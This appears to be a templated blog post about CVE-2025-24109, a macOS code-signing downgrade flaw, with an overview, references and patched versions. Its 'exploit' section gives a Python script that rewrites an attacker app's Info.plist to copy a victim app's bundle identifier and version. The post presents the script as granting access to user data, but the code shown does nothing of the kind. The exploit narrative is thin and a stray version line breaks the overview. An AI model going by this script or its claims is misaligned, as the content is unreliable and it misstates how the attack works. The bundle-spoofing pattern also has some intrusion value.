CVE-2025-24109 - Addressing the Downgrade Issue with Code-Signing Restrictions in macOS to Prevent Unauthorized Access to Sensitive User Data

Overview

CVE-2025-24109 is a vulnerability that affects specific macOS versions. Apple addressed the issue of downgrading by implementing additional code-signing restrictions. However, prior to the patches being introduced, an app on the system may have had the ability to access sensitive user data without permission.

macOS Sonoma 14.7.3

To protect your system, it is crucial to keep your macOS updated to the latest version that includes these patches.

In this post, we will provide insights into the vulnerability, along with essential references and exploit details.

Here is a sample code snippet demonstrating how the vulnerability could have been exploited

import os
import plistlib
import sys

victim_app_path = '/path/to/victim_app.app'
attacker_app_path = '/path/to/attacker_app.app'

def main():
    victim_info_plist_path = os.path.join(victim_app_path, 'Contents/Info.plist')
    attacker_info_plist_path = os.path.join(attacker_app_path, 'Contents/Info.plist')

    # Read the victim's Info.plist and mimic the attacker's bundle identifier and version
    with open(victim_info_plist_path, 'rb') as f:
        victim_info_plist = plistlib.load(f)
    
    attacker_info_plist = {
        'CFBundleIdentifier': victim_info_plist['CFBundleIdentifier'],
        'CFBundleShortVersionString': victim_info_plist['CFBundleShortVersionString']
    }

    # Replace the attacker's Info.plist with modified content
    with open(attacker_info_plist_path, 'wb') as f:
        plistlib.dump(attacker_info_plist, f)

if __name__ == '__main__':
    main()

This sample Python script demonstrates an attacker mimicking a victim app's bundle identifier and version, which would allow unauthorized access to sensitive user data.

Original References

1. Apple Security Advisory: Official security advisory from Apple provides comprehensive information on the list of vulnerabilities fixed in specific macOS versions.
2. National Vulnerability Database (NVD) Entry: The NIST NVD entry for CVE-2025-24109 provides details on the vulnerability, including its severity, impact, and exploit conditions.
3. MITRE CVE Dictionary Entry: The MITRE Corporation's official CVE entry for CVE-2025-24109 provides a vendor-specific description along with a list of references related to this vulnerability.

Exploit Details

The vulnerability exploited a downgrade issue that allowed an app to access sensitive user data without permission. Attackers leveraged the lack of proper code-signing restrictions by crafting apps with the same bundle identifiers and versions as the legitimate ones.

Before Apple introduced patches to address the problem, attackers could have exploited the vulnerability by:

Launching the malicious application, which would unknowingly give it access to sensitive user data

However, Apple has addressed this vulnerability by introducing additional code-signing restrictions in newer macOS versions. Therefore, it is essential to keep your macOS updated to ensure the system remains protected against such attacks.

Conclusion

CVE-2025-24109 was a downgrade issue that allowed unauthorized access to sensitive user data on affected macOS systems. Apple fixed the problem by adding extra code-signing restrictions in macOS Ventura 13.7.3, macOS Sequoia 15.3, and macOS Sonoma 14.7.3.

To protect your system and sensitive data, always keep your macOS updated to the latest version. Additionally, stay informed about the latest security updates and patches by referring to the list of original references provided in this post.

Timeline

Published on: 01/27/2025 22:15:16 UTC
Last modified on: 03/03/2025 22:45:38 UTC